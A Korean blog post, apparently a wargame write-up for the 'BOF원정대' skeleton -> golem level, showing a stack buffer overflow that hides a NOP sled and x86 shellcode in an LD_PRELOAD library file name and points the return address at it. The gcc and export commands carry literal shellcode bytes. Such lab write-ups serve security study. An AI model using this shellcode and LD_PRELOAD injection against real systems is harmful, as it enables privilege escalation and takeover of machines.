nemo의 이야기
BOF원정대 skeleton -> golem 본문
위 코드를 확인해보면
1. buffer를 초기화하고 RET를 제외하고 그 아래에 있는 모든 스택을 초기화한다.
모든 스택을 초기화하기때문이 입력값에 쉘코드를 넣어서 공격하기는 힘들다.
이를 해결하기 위해서는 환경변수를 이용하여 공격하면 된다.
리눅스에는 LD_PRELOAD라는 환경변수가 존재한다. 이 환경변수를 지정해 놓으면 프로세스가 로딩하고 각종 라이브러리들을 로딩할 때
LD_PRELOAD에 선언된 라이브러리를 가장 먼저 로딩하게 된다.
이를 이용하여 이미 존재하는 라이브러리와 이름을 같게하여 정상의 라이브러리가 로딩되지 않게하고 정상적인 라이브러리 안의 정상적인
함수와 같은 이름의 함수를 작성하여 함수를 후킹 할 수 있다.
그럼 쉘코드를 LD_PRELOAD에 넣고 후킹할 c파일을 만들어 컴파일 해보자
#include <unistd.h>
#include <sys/types.h>
uid_t getuid(void)
{
return 9999;
}
c파일을 만든 다음
gcc hook.c -fPIC -o hook.so --shared 형식으로 컴파일한다.
gcc -fPIC -shared my_lib.c -o $(python -c 'print "\x90" *100 +"\x68\x8a\xe2\xce\x81\x68\xb1\x0c\x53\x54\x68\x6a\x6f\x8a\xe4\x68\x01\x69\x30\x63\x68\x69\x30\x74\x69\x6a\x14\x59\xfe\x0c\x0c\x49\x79\xfa\x41\xf7\xe1\x54\xc3"')
이제 훅을 설치해줘야되는데
훅을 설치할 때는 절대 경로로 지정해줘야된다.
export LD_PRELOAD="/home/skeleton/$(python -c 'print "\x90"*100 +"\x68\x8a\xe2\xce\x81\x68\xb1\x0c\x53\x54\x68\x6a\x6f\x8a\xe4\x68\x01\x69\x30\x63\x68\x69\x30\x74\x69\x6a\x14\x59\xfe\x0c\x0c\x49\x79\xfa\x41\xf7\xe1\x54\xc3"')"
LD_PRELOAD에 쉘코드가 들어가 있는 것을 볼 수 있다.
이제 gdb를 이용하여 놉 위치를 찾아 RET에 주소를 입력해주면 된다.
bffff5d8주소를 RET에 넣어서 공격해보자
공격에 성공한것을 확인할 수 있다.
'Information security > System security' 카테고리의 다른 글
BOF원정대 darknight -> bugbear (0) | 2018.01.28 |
---|---|
BOF원정대 golem -> darknight (0) | 2018.01.28 |
BOF원정대 vampire -> skeleton (0) | 2018.01.19 |
BOF원정대 orge -> troll (0) | 2018.01.10 |
BOF원정대 darkelf -> orge (0) | 2018.01.08 |